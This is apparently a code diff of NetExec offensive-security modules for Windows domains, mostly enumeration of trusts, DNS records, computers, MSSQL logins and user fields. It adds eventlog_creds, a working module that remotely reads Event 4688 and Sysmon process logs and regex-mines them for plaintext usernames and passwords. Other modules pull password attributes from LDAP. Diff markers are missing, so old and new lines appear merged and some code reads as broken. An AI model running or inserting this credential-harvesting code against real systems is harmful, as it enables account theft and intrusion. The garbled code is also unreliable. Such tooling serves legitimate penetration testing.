self.context.log.debug(f"Error querying domain name: {e}")
|
||||
return ""
|
||||
|
||||
Returns
|
||||
-------
|
||||
list: List of login names.
|
||||
def get_logins(self) -> list:
|
||||
domain_name = self.get_domain_name()
|
||||
domain_prefix = f"{domain_name}\\" if domain_name else ""
|
||||
|
||||
query = f"""
|
||||
SELECT
|
||||
name,
|
||||
type,
|
||||
type_desc,
|
||||
CASE type_desc
|
||||
WHEN 'SQL_LOGIN' THEN 'SQL User'
|
||||
WHEN 'WINDOWS_LOGIN' THEN
|
||||
CASE
|
||||
WHEN name LIKE '{domain_prefix}%' THEN 'Domain User'
|
||||
WHEN name LIKE '%\\%' THEN 'Local User'
|
||||
ELSE 'Local User'
|
||||
END
|
||||
WHEN 'WINDOWS_GROUP' THEN 'Windows Group'
|
||||
WHEN 'CERTIFICATE_MAPPED_LOGIN' THEN 'Certificate Login'
|
||||
WHEN 'ASYMMETRIC_KEY_MAPPED_LOGIN' THEN 'Asymmetric Key Login'
|
||||
ELSE type_desc
|
||||
END as login_type,
|
||||
is_disabled,
|
||||
create_date
|
||||
FROM sys.server_principals
|
||||
WHERE type IN ('S', 'U', 'G', 'C', 'K')
|
||||
AND name NOT LIKE '##%'
|
||||
ORDER BY login_type, name;
|
||||
"""
|
||||
query = "SELECT name FROM sys.server_principals WHERE type_desc = 'SQL_LOGIN';"
|
||||
res = self.mssql_conn.sql_query(query)
|
||||
return [login["name"] for login in res] if res else []
|
||||
try:
|
||||
res = self.mssql_conn.sql_query(query)
|
||||
if res:
|
||||
logins = []
|
||||
for login in res:
|
||||
status = "DISABLED" if login.get("is_disabled") else "ENABLED"
|
||||
logins.append((login["name"], login["login_type"], status))
|
||||
return logins
|
||||
return []
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Error querying logins: {e}")
|
||||
return []
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
@@ -1,4 +1,3 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -8,79 +7,11 @@ class NXCModule:
|
||||
"""
|
||||
|
||||
name = "enum_trusts"
|
||||
description = "Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
|
||||
description = "[REMOVED] Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
search_filter = "(&(objectClass=trustedDomain))"
|
||||
attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"]
|
||||
|
||||
context.log.debug(f"Search Filter={search_filter}")
|
||||
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
|
||||
|
||||
trusts = []
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
flat_name = ""
|
||||
trust_partner = ""
|
||||
trust_direction = ""
|
||||
trust_transitive = []
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "flatName":
|
||||
flat_name = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "trustPartner":
|
||||
trust_partner = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "trustDirection":
|
||||
if str(attribute["vals"][0]) == "1":
|
||||
trust_direction = "Inbound"
|
||||
elif str(attribute["vals"][0]) == "2":
|
||||
trust_direction = "Outbound"
|
||||
elif str(attribute["vals"][0]) == "3":
|
||||
trust_direction = "Bidirectional"
|
||||
elif str(attribute["type"]) == "trustAttributes":
|
||||
trust_attributes_value = int(attribute["vals"][0])
|
||||
if trust_attributes_value & 0x1:
|
||||
trust_transitive.append("Non-Transitive")
|
||||
if trust_attributes_value & 0x2:
|
||||
trust_transitive.append("Uplevel-Only")
|
||||
if trust_attributes_value & 0x4:
|
||||
trust_transitive.append("Quarantined Domain")
|
||||
if trust_attributes_value & 0x8:
|
||||
trust_transitive.append("Forest Transitive")
|
||||
if trust_attributes_value & 0x10:
|
||||
trust_transitive.append("Cross Organization")
|
||||
if trust_attributes_value & 0x20:
|
||||
trust_transitive.append("Within Forest")
|
||||
if trust_attributes_value & 0x40:
|
||||
trust_transitive.append("Treat as External")
|
||||
if trust_attributes_value & 0x80:
|
||||
trust_transitive.append("Uses RC4 Encryption")
|
||||
if trust_attributes_value & 0x100:
|
||||
trust_transitive.append("Cross Organization No TGT Delegation")
|
||||
if trust_attributes_value & 0x2000:
|
||||
trust_transitive.append("PAM Trust")
|
||||
if not trust_transitive:
|
||||
trust_transitive.append("Other")
|
||||
trust_transitive = ", ".join(trust_transitive)
|
||||
|
||||
if flat_name and trust_partner and trust_direction and trust_transitive:
|
||||
trusts.append((flat_name, trust_partner, trust_direction, trust_transitive))
|
||||
except Exception as e:
|
||||
context.log.debug(f"Cannot process trust relationship due to error {e}")
|
||||
|
||||
if trusts:
|
||||
context.log.success("Found the following trust relationships:")
|
||||
for trust in trusts:
|
||||
context.log.highlight(f"{trust[1]} -> {trust[2]} -> {trust[3]}")
|
||||
else:
|
||||
context.log.display("No trust relationships found")
|
||||
|
||||
return True
|
||||
context.log.fail("[REMOVED] This module moved to the --dc-list LDAP flag.")
|
||||
@@ -0,0 +1,222 @@
|
||||
import re
|
||||
from impacket.dcerpc.v5 import transport, even6
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from impacket.dcerpc.v5.epm import hept_map
|
||||
from nxc.helpers.even6_parser import ResultSet
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by @lodos2005
|
||||
This module extracts credentials from Windows logs. It uses Security Event ID: 4688 and SYSMON logs.
|
||||
"""
|
||||
name = "eventlog_creds"
|
||||
description = "Extracting Credentials From Windows Logs (Event ID: 4688 and SYSMON)"
|
||||
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
self.method = "execute"
|
||||
self.limit = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
METHOD EventLog method (Execute or RPCCALL), default: execute
|
||||
M Alias for METHOD
|
||||
LIMIT Limit of the number of records to be fetched, default: unlimited
|
||||
L Alias for LIMIT
|
||||
"""
|
||||
if "METHOD" in module_options:
|
||||
self.method = module_options["METHOD"]
|
||||
if "M" in module_options:
|
||||
self.method = module_options["M"]
|
||||
if "LIMIT" in module_options:
|
||||
self.limit = int(module_options["LIMIT"])
|
||||
if "L" in module_options:
|
||||
self.limit = int(module_options["L"])
|
||||
|
||||
def find_credentials(self, content, context):
|
||||
# remove unnecessary words
|
||||
content = content.replace("\r\n", "\n")
|
||||
|
||||
# sort and unique lines
|
||||
content = "\n".join(sorted(set(content.split("\n"))))
|
||||
|
||||
regexps = [
|
||||
# "C:\Windows\system32\net.exe" user /add lodos2005 123456 /domain
|
||||
r"net.+user\s+(?P<username>[^\s]+)\s+(?P<password>[^\s]+)",
|
||||
# "C:\Windows\system32\net.exe" use \\server\share /user:contoso\lodos2005 password
|
||||
r"net.+use.+/user:(?P<username>[^\s]+)\s+(?P<password>[^\s]+)",
|
||||
# schtasks.exe /CREATE /S 192.168.20.05 /RU SYSTEM /U lodos2005@contoso /P "123456" /SC ONCE /ST 20:05 /TN Test /TR hostname /F
|
||||
r"schtasks.+/U\s+(?P<username>[^\s]+).+/P\s+(?P<password>[^\s]+)",
|
||||
# wmic.exe /node:192.168.20.05 /user:lodos2005@contoso /password:123456 computersystem get
|
||||
r"wmic.+/user:\s*(?P<username>[^\s]+).+/password:\s*(?P<password>[^\s]+)",
|
||||
# psexec \\192.168.20.05 -u lodos2005@contoso -p 123456 hostname
|
||||
r"psexec.+-u\s+(?P<username>[^\s]+).+-p\s+(?P<password>[^\s]+)",
|
||||
# generic username on command line
|
||||
r"(?:(?:(?:-u)|(?:-user)|(?:-username)|(?:--user)|(?:--username)|(?:/u)|(?:/USER)|(?:/USERNAME))(?:\s+|\:)(?P<username>[^\s]+))",
|
||||
# generic password on command line
|
||||
r"(?:(?:(?:-p)|(?:-password)|(?:-passwd)|(?:--password)|(?:--passwd)|(?:/P)|(?:/PASSWD)|(?:/PASS)|(?:/CODE)|(?:/PASSWORD))(?:\s+|\:)(?P<password>[^\s]+))",
|
||||
]
|
||||
# Extracting credentials
|
||||
for line in content.split("\n"):
|
||||
for reg in regexps:
|
||||
# Remove unnecessary words
|
||||
line_stripped = line.replace("/add", "") \
|
||||
.replace("/active:yes", "") \
|
||||
.replace("/delete", "") \
|
||||
.replace("/domain", "") \
|
||||
# Remove command lines that were executed with nxc
|
||||
line_stripped = re.sub(r"1> \\Windows\\Temp\\[\w]{6} 2>&1", "", line_stripped)
|
||||
|
||||
# Use regex to find credentials
|
||||
match = re.search(reg, line_stripped, re.IGNORECASE)
|
||||
if match:
|
||||
# eleminate false positives
|
||||
# C:\Windows\system32\svchost.exe -k DcomLaunch -p -s PlugPlay
|
||||
if not match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6:
|
||||
# if password is found but username is not found, and password is shorter than 6 characters, ignore it
|
||||
continue
|
||||
if not match.groupdict().get("password") and match.groupdict().get("username"):
|
||||
# if username is found but password is not found. we need? ignore it
|
||||
continue
|
||||
# C:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /0
|
||||
if match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6 and len(match.group("username")) < 6:
|
||||
# if username and password is shorter than 6 characters, ignore it
|
||||
continue
|
||||
|
||||
context.log.highlight("Credentials found! " + line.strip())
|
||||
if match.groupdict().get("username"):
|
||||
context.log.highlight("Username: " + match.group("username"))
|
||||
if match.groupdict().get("password"):
|
||||
context.log.highlight("Password: " + match.group("password"))
|
||||
break
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
content = ""
|
||||
if self.method.lower().startswith("e"):
|
||||
limit_str = f"/c:{self.limit}" if self.limit is not None else ""
|
||||
# https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4688
|
||||
commands = [
|
||||
f'wevtutil qe Microsoft-Windows-Sysmon/Operational {limit_str} /f:text /rd:true /q:"*[System[(EventID=1)]]" | findstr "ParentCommandLine"',
|
||||
f'wevtutil qe Security {limit_str} /f:text /rd:true /q:"*[System[(EventID=4688)]]" | findstr "Command Line"',
|
||||
]
|
||||
for command in commands:
|
||||
context.log.debug("Execute Command: " + command)
|
||||
content += connection.execute(command, True)
|
||||
else:
|
||||
msevenclass = MSEven6Trigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
msevenclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=target,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
pipe="eventlog"
|
||||
)
|
||||
for record in msevenclass.query("\x00", '<QueryList><Query Id="0"><Select Path="Security">*[System/EventID=4688]</Select></Query><Query Id="0"><Select Path="Microsoft-Windows-Sysmon/Operational">*[System/EventID=1]</Select></Query></QueryList>\x00', self.limit):
|
||||
if record is None:
|
||||
continue
|
||||
try:
|
||||
xmlString = ResultSet(record).xml()
|
||||
regexp = r'CommandLine">(?P<CommandLine>(.|\n)*?)<\/Data>'
|
||||
match = re.search(regexp, xmlString, re.IGNORECASE)
|
||||
if match and match.groupdict().get("CommandLine"):
|
||||
content += "CommandLine: " + match.group("CommandLine") + "\n"
|
||||
except Exception as e:
|
||||
context.log.error(f"Error: {e}")
|
||||
|
||||
self.find_credentials(content, context)
|
||||
|
||||
|
||||
class MSEven6Trigger:
|
||||
def __init__(self, context):
|
||||
self.context = context
|
||||
self.dce = None
|
||||
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
||||
rpctransport = transport.DCERPCTransportFactory(hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp"))
|
||||
if hasattr(rpctransport, "set_credentials"):
|
||||
rpctransport.set_credentials(
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
aesKey=aesKey,
|
||||
)
|
||||
if doKerberos:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
||||
rpctransport.setRemoteHost(target)
|
||||
self.dce = rpctransport.get_dce_rpc()
|
||||
if doKerberos:
|
||||
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
self.dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
self.context.log.debug(f"Connecting to {target}...")
|
||||
try:
|
||||
self.dce.connect()
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return
|
||||
try:
|
||||
self.dce.bind(even6.MSRPC_UUID_EVEN6)
|
||||
self.context.log.debug("[+] Successfully bound!")
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return
|
||||
self.context.log.debug("[+] Successfully bound!")
|
||||
|
||||
def query(self, path, query, limit):
|
||||
req = even6.EvtRpcRegisterLogQuery()
|
||||
req["Path"] = path + "\x00"
|
||||
req["Query"] = query + "\x00"
|
||||
req["Flags"] = even6.EvtQueryChannelName | even6.EvtReadNewestToOldest
|
||||
|
||||
resp = self.dce.request(req)
|
||||
handle = resp["Handle"]
|
||||
|
||||
return MSEven6Result(self, handle, limit)
|
||||
|
||||
|
||||
class MSEven6Result:
|
||||
def __init__(self, conn, handle, limit=None):
|
||||
self._conn = conn
|
||||
self._handle = handle
|
||||
self._hardlimit = limit
|
||||
|
||||
def __iter__(self):
|
||||
self._resp = None
|
||||
return self
|
||||
|
||||
def __next__(self):
|
||||
if self._hardlimit is not None:
|
||||
self._hardlimit -= 1
|
||||
if self._hardlimit < 0:
|
||||
raise StopIteration
|
||||
if self._resp is not None and self._resp["NumActualRecords"] == 0:
|
||||
raise StopIteration
|
||||
|
||||
if self._resp is None or self._index == self._resp["NumActualRecords"]:
|
||||
req = even6.EvtRpcQueryNext()
|
||||
req["LogQuery"] = self._handle
|
||||
req["NumRequestedRecords"] = 100
|
||||
req["TimeOutEnd"] = 1000
|
||||
req["Flags"] = 0
|
||||
self._resp = self._conn.dce.request(req)
|
||||
|
||||
if self._resp["NumActualRecords"] == 0:
|
||||
return None
|
||||
else:
|
||||
self._index = 0
|
||||
|
||||
offset = self._resp["EventDataIndices"][self._index]["Data"]
|
||||
size = self._resp["EventDataSizes"][self._index]["Data"]
|
||||
self._index += 1
|
||||
|
||||
return b"".join(self._resp["ResultBuffer"][offset:offset + size])
|
||||
@@ -9,8 +9,6 @@ class NXCModule:
|
||||
name = "example module"
|
||||
description = "I do something"
|
||||
supported_protocols = [] # Example: ['smb', 'mssql']
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
@@ -48,18 +46,3 @@ class NXCModule:
|
||||
Required if on_login is not present
|
||||
This gets called on each authenticated connection with Administrative privileges
|
||||
"""
|
||||
|
||||
def on_request(self, context, request):
|
||||
"""Optional.
|
||||
If the payload needs to retrieve additional files, add this function to the module
|
||||
"""
|
||||
|
||||
def on_response(self, context, response):
|
||||
"""Optional.
|
||||
If the payload sends back its output to our server, add this function to the module to handle its output
|
||||
"""
|
||||
|
||||
def on_shutdown(self, context, connection):
|
||||
"""Optional.
|
||||
Do something on shutdown
|
||||
"""
|
||||
@@ -7,8 +7,6 @@ class NXCModule:
|
||||
name = "exec_on_link"
|
||||
description = "Execute commands on a SQL Server linked server"
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = False
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
import socket
|
||||
from nxc.logger import nxc_logger
|
||||
from impacket.ldap.ldap import LDAPSearchError
|
||||
from impacket.ldap.ldapasn1 import SearchResultEntry
|
||||
@@ -16,15 +15,14 @@ class NXCModule:
|
||||
name = "find-computer"
|
||||
description = "Finds computers in the domain via the provided text"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
find-computer: Specify find-computer to call the module
|
||||
TEXT: Specify the TEXT option to enter your text to search for
|
||||
Usage: nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
|
||||
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
|
||||
TEXT Search TEXT in the operating system or name of the computer.
|
||||
|
||||
Examples:
|
||||
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
|
||||
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
|
||||
"""
|
||||
self.TEXT = ""
|
||||
|
||||
@@ -35,7 +33,7 @@ class NXCModule:
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
search_filter = f"(&(objectCategory=computer)(&(|(operatingSystem=*{self.TEXT}*))(name=*{self.TEXT}*)))"
|
||||
search_filter = f"(&(objectCategory=computer)(|(operatingSystem=*{self.TEXT}*)(name=*{self.TEXT}*)))"
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={search_filter}")
|
||||
@@ -69,12 +67,12 @@ class NXCModule:
|
||||
if len(answers) > 0:
|
||||
context.log.success("Found the following computers: ")
|
||||
for answer in answers:
|
||||
try:
|
||||
ip = socket.gethostbyname(answer[0])
|
||||
context.log.highlight(f"{answer[0]} ({answer[1]}) ({ip})")
|
||||
context.log.debug("IP found")
|
||||
except socket.gaierror:
|
||||
context.log.debug("Missing IP")
|
||||
resolv = connection.resolver(answer[0])
|
||||
if resolv:
|
||||
context.log.highlight(f"{answer[0]} ({answer[1]}) ({resolv['host']})")
|
||||
context.log.debug("IP found via DNS query")
|
||||
else:
|
||||
context.log.debug(f"No DNS response for {answer[0]}")
|
||||
context.log.highlight(f"{answer[0]} ({answer[1]}) (No IP Found)")
|
||||
else:
|
||||
context.log.success(f"Unable to find any computers with the text {self.TEXT}")
|
||||
@@ -12,8 +12,6 @@ class NXCModule:
|
||||
name = "firefox"
|
||||
description = "[REMOVED] Dump credentials from Firefox"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
|
||||
@@ -13,8 +13,6 @@ class NXCModule:
|
||||
name = "get-desc-users"
|
||||
description = "Get description of the users. May contained password"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Get the info field of users
|
||||
Module by @sepauli
|
||||
"""
|
||||
name = "get-info-users"
|
||||
description = "Get the info field of all users. May contain password"
|
||||
supported_protocols = ["ldap"]
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""FILTER Apply the FILTER (grep-like) (default: '')"""
|
||||
self.FILTER = ""
|
||||
if "FILTER" in module_options:
|
||||
self.FILTER = module_options["FILTER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# Building the search filter
|
||||
resp = connection.search(
|
||||
searchFilter="(info=*)",
|
||||
attributes=["sAMAccountName", "info"]
|
||||
)
|
||||
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
answers = [[x["sAMAccountName"], x["info"]] for x in resp_parsed]
|
||||
|
||||
answers = self.filter_answer(context, answers)
|
||||
if answers:
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight(f"User: {answer[0]:<20} Info: {answer[1]}")
|
||||
|
||||
def filter_answer(self, context, answers):
|
||||
# No option to filter
|
||||
if not self.FILTER:
|
||||
context.log.debug("No filter option enabled")
|
||||
return answers
|
||||
# Filter
|
||||
context.log.debug(f"Filter info field with: {self.FILTER}")
|
||||
return [answer for answer in answers if self.FILTER in answer[1]]
|
||||
|
||||
+42
-72
@@ -2,18 +2,16 @@
|
||||
# Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan
|
||||
# module by @mpgn_x64
|
||||
import re
|
||||
from os.path import expanduser
|
||||
import codecs
|
||||
import socket
|
||||
from datetime import datetime
|
||||
from struct import unpack
|
||||
|
||||
import dns.name
|
||||
import dns.resolver
|
||||
from impacket.ldap import ldap
|
||||
from impacket.structure import Structure
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from ldap3 import LEVEL
|
||||
from os.path import expanduser
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
def get_dns_zones(connection, root, debug=False):
|
||||
@@ -26,25 +24,8 @@ def get_dns_zones(connection, root, debug=False):
|
||||
return zones
|
||||
|
||||
|
||||
def get_dns_resolver(server, context):
|
||||
# Create a resolver object
|
||||
dnsresolver = dns.resolver.Resolver()
|
||||
# Is our host an IP? In that case make sure the server IP is used
|
||||
# if not assume lookups are working already
|
||||
try:
|
||||
if server.startswith("ldap://"):
|
||||
server = server[7:]
|
||||
if server.startswith("ldaps://"):
|
||||
server = server[8:]
|
||||
socket.inet_aton(server)
|
||||
dnsresolver.nameservers = [server]
|
||||
except OSError:
|
||||
context.info("Using System DNS to resolve unknown entries. Make sure resolving your target domain works here or specify an IP as target host to use that server for queries")
|
||||
return dnsresolver
|
||||
|
||||
|
||||
def ldap2domain(ldap):
|
||||
return re.sub(",DC=", ".", ldap[ldap.lower().find("dc="):], flags=re.I)[3:]
|
||||
def ldap2domain(baseDN):
|
||||
return re.sub(r",DC=", ".", baseDN[baseDN.lower().find("dc="):], flags=re.IGNORECASE)[3:]
|
||||
|
||||
|
||||
def new_record(rtype, serial):
|
||||
@@ -65,28 +46,28 @@ RECORD_TYPE_MAPPING = {
|
||||
5: "CNAME",
|
||||
6: "SOA",
|
||||
12: "PTR",
|
||||
# 15: 'MX',
|
||||
# 16: 'TXT',
|
||||
15: "MX",
|
||||
16: "TXT",
|
||||
28: "AAAA",
|
||||
33: "SRV",
|
||||
}
|
||||
|
||||
|
||||
def searchResEntry_to_dict(results):
|
||||
data = {}
|
||||
for attr in results["attributes"]:
|
||||
key = str(attr["type"])
|
||||
value = str(attr["vals"][0])
|
||||
data[key] = value
|
||||
return data
|
||||
ZERO = 0
|
||||
A = 1
|
||||
NS = 2
|
||||
CNAME = 5
|
||||
SOA = 6
|
||||
PTR = 12
|
||||
MX = 15
|
||||
TXT = 16
|
||||
AAAA = 28
|
||||
SRV = 33
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "get-network"
|
||||
description = "Query all DNS records with the corresponding IP from the domain."
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -95,18 +76,12 @@ class NXCModule:
|
||||
"""
|
||||
self.showall = False
|
||||
self.showhosts = False
|
||||
self.showip = True
|
||||
|
||||
if module_options and "ALL" in module_options:
|
||||
if module_options["ALL"].lower() == "true" or module_options["ALL"] == "1":
|
||||
self.showall = True
|
||||
else:
|
||||
print("Could not parse ALL option.")
|
||||
if module_options and "IP" in module_options:
|
||||
if module_options["IP"].lower() == "true" or module_options["IP"] == "1":
|
||||
self.showip = True
|
||||
else:
|
||||
print("Could not parse ONLY_HOSTS option.")
|
||||
if module_options and "ONLY_HOSTS" in module_options:
|
||||
if module_options["ONLY_HOSTS"].lower() == "true" or module_options["ONLY_HOSTS"] == "1":
|
||||
self.showhosts = True
|
||||
@@ -118,38 +93,27 @@ class NXCModule:
|
||||
dns_root = f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}"
|
||||
search_target = f"DC={zone},{dns_root}"
|
||||
context.log.display("Querying zone for records")
|
||||
sfilter = "(DC=*)"
|
||||
|
||||
try:
|
||||
list_sites = connection.ldap_connection.search(
|
||||
searchBase=search_target,
|
||||
searchFilter=sfilter,
|
||||
attributes=["dnsRecord", "dNSTombstoned", "name"],
|
||||
sizeLimit=100000,
|
||||
)
|
||||
except ldap.LDAPSearchError as e:
|
||||
if e.getErrorString().find("sizeLimitExceeded") >= 0:
|
||||
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
|
||||
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
|
||||
# paged queries
|
||||
list_sites = e.getAnswers()
|
||||
else:
|
||||
raise
|
||||
get_dns_resolver(connection.host, context.log)
|
||||
list_sites = connection.search(
|
||||
searchFilter="(DC=*)",
|
||||
attributes=["dnsRecord", "dNSTombstoned", "name"],
|
||||
baseDN=search_target,
|
||||
)
|
||||
list_sites_parsed = parse_result_attributes(list_sites)
|
||||
|
||||
outdata = []
|
||||
|
||||
for item in list_sites:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
site = searchResEntry_to_dict(item)
|
||||
for site in list_sites_parsed:
|
||||
recordname = site["name"]
|
||||
|
||||
if "dnsRecord" in site:
|
||||
record = bytes(site["dnsRecord"].encode("latin1"))
|
||||
dr = DNS_RECORD(record)
|
||||
if RECORD_TYPE_MAPPING[dr["Type"]] == "A":
|
||||
if dr["Type"] == 1:
|
||||
if isinstance(site["dnsRecord"], list): # noqa: SIM108
|
||||
records = [bytes(r) for r in site["dnsRecord"]]
|
||||
else:
|
||||
records = [bytes(site["dnsRecord"])]
|
||||
|
||||
for record in records:
|
||||
dr = DNS_RECORD(record)
|
||||
if dr["Type"] == A:
|
||||
address = DNS_RPC_RECORD_A(dr["Data"])
|
||||
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
|
||||
outdata.append(
|
||||
@@ -159,17 +123,18 @@ class NXCModule:
|
||||
"value": address.formatCanonical(),
|
||||
}
|
||||
)
|
||||
if dr["Type"] in [a for a in RECORD_TYPE_MAPPING if RECORD_TYPE_MAPPING[a] in ["CNAME", "NS", "PTR"]]:
|
||||
# Skip without "ALL" and "ONLY_HOSTS" => only IPs
|
||||
elif dr["Type"] in [CNAME, NS, PTR] and (self.showall or self.showhosts):
|
||||
address = DNS_RPC_RECORD_NODE_NAME(dr["Data"])
|
||||
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
|
||||
outdata.append(
|
||||
{
|
||||
"name": recordname,
|
||||
"type": RECORD_TYPE_MAPPING[dr["Type"]],
|
||||
"value": address[next(iter(address.fields))].toFqdn(),
|
||||
"value": address["nameNode"].toFqdn(),
|
||||
}
|
||||
)
|
||||
elif dr["Type"] == 28:
|
||||
elif dr["Type"] == AAAA:
|
||||
address = DNS_RPC_RECORD_AAAA(dr["Data"])
|
||||
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
|
||||
outdata.append(
|
||||
@@ -180,8 +145,13 @@ class NXCModule:
|
||||
}
|
||||
)
|
||||
|
||||
# Filter duplicate IPs if "ALL" and "ONLY_HOSTS" are not set
|
||||
if not (self.showall or self.showhosts):
|
||||
seen_ips = set()
|
||||
outdata = [x for x in outdata if not (x["value"] in seen_ips or seen_ips.add(x["value"]))]
|
||||
|
||||
context.log.highlight(f"Found {len(outdata)} records")
|
||||
path = expanduser(f"~/.nxc/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
|
||||
path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
|
||||
with codecs.open(path, "w", "utf-8") as outfile:
|
||||
for row in outdata:
|
||||
if self.showhosts:
|
||||
|
||||
@@ -12,8 +12,6 @@ class NXCModule:
|
||||
name = "get-unixUserPassword"
|
||||
description = "Get unixUserPassword attribute from all users in ldap"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
|
||||
@@ -12,8 +12,6 @@ class NXCModule:
|
||||
name = "get-userPassword"
|
||||
description = "Get userPassword attribute from all users in ldap"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
from datetime import datetime
|
||||
from nxc.helpers.logger import write_log
|
||||
from nxc.paths import NXC_PATH
|
||||
import json
|
||||
|
||||
|
||||
@@ -13,11 +14,9 @@ class NXCModule:
|
||||
name = "get_netconnections"
|
||||
description = "Uses WMI to query network connections."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options"""
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
data = []
